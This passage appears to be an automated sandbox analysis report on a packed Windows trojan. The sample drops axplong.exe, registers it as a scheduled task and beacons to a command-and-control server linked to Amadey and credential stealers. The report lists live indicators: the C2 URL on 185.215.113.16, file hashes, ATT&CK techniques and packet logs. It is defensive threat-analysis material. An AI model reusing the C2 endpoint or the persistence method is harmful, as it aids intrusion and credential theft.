                      Source: Yara matchFile source: 00000002.00000003.1809437017.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.1794273100.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

                      Mitre Att&ck Matrix

                      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                      Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
                      Command and Scripting Interpreter                      		1
                      Scheduled Task/Job                      		12
                      Process Injection                      		1
                      Masquerading                      		OS Credential Dumping1
                      System Time Discovery                      		Remote Services1
                      Archive Collected Data                      		1
                      Encrypted Channel                      		Exfiltration Over Other Network MediumAbuse Accessibility Features
                      CredentialsDomainsDefault Accounts1
                      Scheduled Task/Job                      		1
                      DLL Side-Loading                      		1
                      Scheduled Task/Job                      		251
                      Virtualization/Sandbox Evasion                      		LSASS Memory741
                      Security Software Discovery                      		Remote Desktop ProtocolData from Removable Media1
                      Ingress Tool Transfer                      		Exfiltration Over BluetoothNetwork Denial of Service
                      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                      DLL Side-Loading                      		12
                      Process Injection                      		Security Account Manager2
                      Process Discovery                      		SMB/Windows Admin SharesData from Network Shared Drive1
                      Non-Application Layer Protocol                      		Automated ExfiltrationData Encrypted for Impact
                      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
                      Deobfuscate/Decode Files or Information                      		NTDS251
                      Virtualization/Sandbox Evasion                      		Distributed Component Object ModelInput Capture11
                      Application Layer Protocol                      		Traffic DuplicationData Destruction
                      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script3
                      Obfuscated Files or Information                      		LSA Secrets1
                      Application Window Discovery                      		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts12
                      Software Packing                      		Cached Domain Credentials1
                      File and Directory Discovery                      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                      DLL Side-Loading                      		DCSync224
                      System Information Discovery                      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      file.exe53%ReversingLabsWin32.Packed.Themida
                      file.exe100%AviraTR/Crypt.TPM.Gen
                      file.exe100%Joe Sandbox ML

                      Dropped Files

                      SourceDetectionScannerLabelLink
                      C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe100%AviraTR/Crypt.TPM.Gen
                      C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe100%Joe Sandbox ML
                      C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe53%ReversingLabsWin32.Trojan.Generic

                      Unpacked PE Files

                      ⊘No Antivirus matches

                      Domains

                      ⊘No Antivirus matches

                      URLs

                      SourceDetectionScannerLabelLink
                      http://185.215.113.16/Jo89Ku7d/index.php(100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpg100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpi100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpU100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.php&100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpd100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpHost185.215.113.16100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpc100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpT100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpS100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.php100%Avira URL Cloudmalware
                      http://185.215.113.16/Jo89Ku7d/index.phpJ100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpB100%Avira URL Cloudphishing
                      http://185.215.113.16/100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpE100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpncoded9100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpz100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.php9100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpfer-Encoding:100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpx100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phpv100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.phphp100%Avira URL Cloudphishing
                      http://185.215.113.16/Jo89Ku7d/index.php0100%Avira URL Cloudphishing

                      Domains and IPs

                      Contacted Domains

                      ⊘No contacted domains info

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      http://185.215.113.16/Jo89Ku7d/index.phptrue
                      • Avira URL Cloud: malware
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://185.215.113.16/Jo89Ku7d/index.phpHost185.215.113.16axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpiaxplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.php(axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpgaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.php&axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpdaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpcaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpUaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpTaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpSaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/axplong.exe, 00000001.00000002.4188372534.0000000001701000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpJaxplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpncoded9axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpEaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpCaxplong.exe, 00000001.00000002.4188372534.0000000001750000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.phpBaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.phpzaxplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.php9axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.phpxaxplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.phpfer-Encoding:axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.phpvaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.phphpaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        http://185.215.113.16/Jo89Ku7d/index.phpuaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://185.215.113.16/Jo89Ku7d/index.phptaxplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            http://185.215.113.16/Jo89Ku7d/index.php0axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: phishing
                            		unknown

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            185.215.113.16
                            		unknownPortugal
                            		206894WHOLESALECONNECTIONSNLtrue

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1519770
                            Start date and time:2024-09-27 00:19:06 +02:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 9m 36s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:11
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:file.exe
                            Detection:MAL
                            Classification:mal100.troj.spyw.evad.winEXE@8/3@0/1
                            EGA Information:
                            • Successful, ratio: 14.3%
                            HCA Information:Failed
                            Cookbook Comments:
                            • Found application associated with file extension: .exe
                            • Override analysis time to 240000 for current running targets taking high CPU consumption

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                            • Execution Graph export aborted for target axplong.exe, PID 3260 because there are no executed function
                            • Execution Graph export aborted for target axplong.exe, PID 5164 because there are no executed function
                            • Execution Graph export aborted for target axplong.exe, PID 5664 because there are no executed function
                            • Execution Graph export aborted for target axplong.exe, PID 6456 because there are no executed function
                            • Execution Graph export aborted for target axplong.exe, PID 7024 because there are no executed function
                            • Execution Graph export aborted for target file.exe, PID 6636 because it is empty
                            • HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
                            • Not all processes where analyzed, report is missing behavior information
                            • Report size exceeded maximum capacity and may have missing behavior information.
                            • Report size getting too big, too many NtDeviceIoControlFile calls found.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.
                            • VT rate limit hit for: file.exe

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            18:20:11API Interceptor12995233x Sleep call for process: axplong.exe modified
                            23:20:07Task SchedulerRun new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            185.215.113.16file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadey, DarkTortillaBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadey, Go Injector, XWormBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php
                            file.exeGet hashmaliciousAmadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RATBrowse
                            • 185.215.113.16/Jo89Ku7d/index.php

                            Domains

                            ⊘No context

                            ASNs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            WHOLESALECONNECTIONSNLfile.exeGet hashmaliciousStealcBrowse
                            • 185.215.113.37
                            file.exeGet hashmaliciousStealcBrowse
                            • 185.215.113.37
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16
                            file.exeGet hashmaliciousStealc, VidarBrowse
                            • 185.215.113.37
                            file.exeGet hashmaliciousAmadey, DarkTortillaBrowse
                            • 185.215.113.16
                            file.exeGet hashmaliciousStealc, VidarBrowse
                            • 185.215.113.37
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16
                            file.exeGet hashmaliciousStealcBrowse
                            • 185.215.113.37
                            file.exeGet hashmaliciousAmadeyBrowse
                            • 185.215.113.16
                            file.exeGet hashmaliciousStealc, VidarBrowse
                            • 185.215.113.37

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

                            Download File
                            Process:C:\Users\user\Desktop\file.exe
                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                            Category:dropped
                            Size (bytes):1877504
                            Entropy (8bit):7.949581559827292
                            Encrypted:false
                            SSDEEP:49152:LYoM6Ak0hP5ohUlCRoQs7kqBZNdRyp0PZTJf:LG6AJcZR5sYaY0PP
                            MD5:D47F5061136CBB1FC4D56BC8E0355C12
                            SHA1:3829E4804C1E0DCD77DC82CAD9490BFAA3258887
                            SHA-256:B3CAE12B1399883B64871DFB422899F804FB2AE2FCFE073FE783165295B4886D
                            SHA-512:BA14BE86E71CE577C5E6106208FFB9A58E509EE8A67E94AA6646A93D5BF2691431BA886D28A8DE7711005BB144FACE91A52B2936A749A5DE6D539C64655504BF
                            Malicious:true
                            Antivirus:
                            • Antivirus: Avira, Detection: 100%
                            • Antivirus: Joe Sandbox ML, Detection: 100%
                            • Antivirus: ReversingLabs, Detection: 53%
                            Reputation:low
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................`J...........@...........................J..........@.................................W...k............................GJ..............................GJ..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...mjqourvh......0.....................@...duhvzjsi.....PJ......~..............@....taggant.0...`J.."..................@...........................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

                            Download File
                            Process:C:\Users\user\Desktop\file.exe
                            File Type:ASCII text, with CRLF line terminators
                            Category:modified
                            Size (bytes):26
                            Entropy (8bit):3.95006375643621
                            Encrypted:false
                            SSDEEP:3:ggPYV:rPYV
                            MD5:187F488E27DB4AF347237FE461A079AD
                            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                            Malicious:true
                            Reputation:high, very likely benign file
                            Preview:[ZoneTransfer]....ZoneId=0

                            C:\Windows\Tasks\axplong.job

                            Download File
                            Process:C:\Users\user\Desktop\file.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):286
                            Entropy (8bit):3.4021736223841876
                            Encrypted:false
                            SSDEEP:6:9IgbXpRKUEZ+lX1lOJUPelkDdtPjgsW2YRZuy0lbAt0:9IgrpRKQ1lOmeeDHjzvYRQVEt0
                            MD5:268918A72B6A784587B36C90D2BC7AD6
                            SHA1:469979EA26FBA00DCEB82776344720F3517023E0
                            SHA-256:C803DBD9122A69130FB25665B4CF0EE2751B04CE399A6BB5971BE18594B55842
                            SHA-512:98AAAA0796E5F1E878983244A5CEE932687B5ACB7E272D84246E53360697E87A68CF24ECF9024D7D361EB3F9A3493DB27FBCFE9BCD20E97D5A73BB2B9E860337
                            Malicious:false
                            Reputation:low
                            Preview:....c- '...B...T...4F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

                            Static File Info

                            General

                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                            Entropy (8bit):7.949581559827292
                            TrID:
                            • Win32 Executable (generic) a (10002005/4) 99.96%
                            • Generic Win/DOS Executable (2004/3) 0.02%
                            • DOS Executable Generic (2002/1) 0.02%
                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                            File name:file.exe
                            File size:1'877'504 bytes
                            MD5:d47f5061136cbb1fc4d56bc8e0355c12
                            SHA1:3829e4804c1e0dcd77dc82cad9490bfaa3258887
                            SHA256:b3cae12b1399883b64871dfb422899f804fb2ae2fcfe073fe783165295b4886d
                            SHA512:ba14be86e71ce577c5e6106208ffb9a58e509ee8a67e94aa6646a93d5bf2691431ba886d28a8de7711005bb144face91a52b2936a749a5de6d539c64655504bf
                            SSDEEP:49152:LYoM6Ak0hP5ohUlCRoQs7kqBZNdRyp0PZTJf:LG6AJcZR5sYaY0PP
                            TLSH:2F9533369E57A4BFDEBCC8F0DA5AE97CAF8857B8066258C53D0B02618F537A13431D24
                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

                            File Icon

                            Icon Hash:90cececece8e8eb0

                            Static PE Info

                            General

                            Entrypoint:0x8a6000
                            Entrypoint Section:.taggant
                            Digitally signed:false
                            Imagebase:0x400000
                            Subsystem:windows gui
                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                            DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                            Time Stamp:0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
                            TLS Callbacks:
                            CLR (.Net) Version:
                            OS Version Major:6
                            OS Version Minor:0
                            File Version Major:6
                            File Version Minor:0
                            Subsystem Version Major:6
                            Subsystem Version Minor:0
                            Import Hash:2eabe9054cad5152567f0699947a2c5b

                            Entrypoint Preview

                            Instruction
                            jmp 00007FA954CDA24Ah
                            je 00007FA954CDA262h
                            add byte ptr [eax], al
                            jmp 00007FA954CDC245h
                            add byte ptr [ecx], ah
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [esi], al
                            or al, byte ptr [eax]
                            add byte ptr [edx+ecx], al
                            add byte ptr [eax], al
                            add eax, 0200000Ah
                            or al, byte ptr [eax]
                            add byte ptr [ecx], al
                            or al, byte ptr [eax]
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], dl
                            add byte ptr [eax], 00000000h
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            adc byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add dword ptr [edx], ecx
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            xor byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add eax, dword ptr [eax]
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            and al, byte ptr [eax]
                            add byte ptr [eax], al
                            add byte ptr [eax], al
                            add byte ptr [eax], al

                            Data Directories

                            NameVirtual AddressVirtual Size Is in Section
                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_IMPORT0x6a0570x6b.idata
                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x690000x1e0.rsrc
                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x4a47ec0x10mjqourvh
                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                            IMAGE_DIRECTORY_ENTRY_TLS0x4a479c0x18mjqourvh
                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                            Sections

                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                            0x10000x680000x2de006b30833fcf8651afb9967b20aa4fd0d9False0.9975253320844687data7.985952425600344IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .rsrc0x690000x1e00x2007934c59a5b9f61b07e810f539221b677False0.576171875data4.493352331198554IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .idata 0x6a0000x10000x200cc76e3822efdc911f469a3e3cc9ce9feFalse0.1484375data1.0428145631430756IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            0x6b0000x2a10000x200dde49e738f5a15ed32d1b9626a8df9f8unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            mjqourvh0x30c0000x1990000x198a00082d670a723285579ddac46fe5f0fa51False0.9946221847277454data7.954053872063057IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            duhvzjsi0x4a50000x10000x600a844e74f0298c16a74f0061267ce68ccFalse0.5950520833333334data5.105174539000652IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .taggant0x4a60000x30000x220093c401f57e055dabb7d0138b8a8f89ecFalse0.09443933823529412DOS executable (COM)0.9989666142277631IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                            Resources

                            NameRVASizeTypeLanguageCountryZLIB Complexity
                            RT_MANIFEST0x4a47fc0x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.5931758530183727

                            Imports

                            DLLImport
                            kernel32.dlllstrcpy

                            Possible Origin

                            Language of compilation systemCountry where language is spokenMap
                            EnglishUnited States

                            Network Behavior

                            Suricata IDS Alerts

                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                            2024-09-27T00:20:21.856173+02002856147ETPRO MALWARE Amadey CnC Activity M31192.168.2.449740185.215.113.1680TCP

                            Network Port Distribution

                            TCP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Sep 27, 2024 00:20:12.228024960 CEST4973080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:12.232947111 CEST8049730185.215.113.16192.168.2.4
                            Sep 27, 2024 00:20:12.233066082 CEST4973080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:12.233195066 CEST4973080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:12.238182068 CEST8049730185.215.113.16192.168.2.4
                            Sep 27, 2024 00:20:12.940140009 CEST8049730185.215.113.16192.168.2.4
                            Sep 27, 2024 00:20:12.940202951 CEST4973080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:13.022727966 CEST4973080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:13.029748917 CEST8049730185.215.113.16192.168.2.4
                            Sep 27, 2024 00:20:13.256257057 CEST8049730185.215.113.16192.168.2.4
                            Sep 27, 2024 00:20:13.256354094 CEST4973080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:13.367221117 CEST4973080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:13.367543936 CEST4973180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:13.373876095 CEST8049731185.215.113.16192.168.2.4
                            Sep 27, 2024 00:20:13.373949051 CEST4973180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:13.374079943 CEST4973180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:20:13.375161886 CEST8049730185.215.113.16192.168.2.4
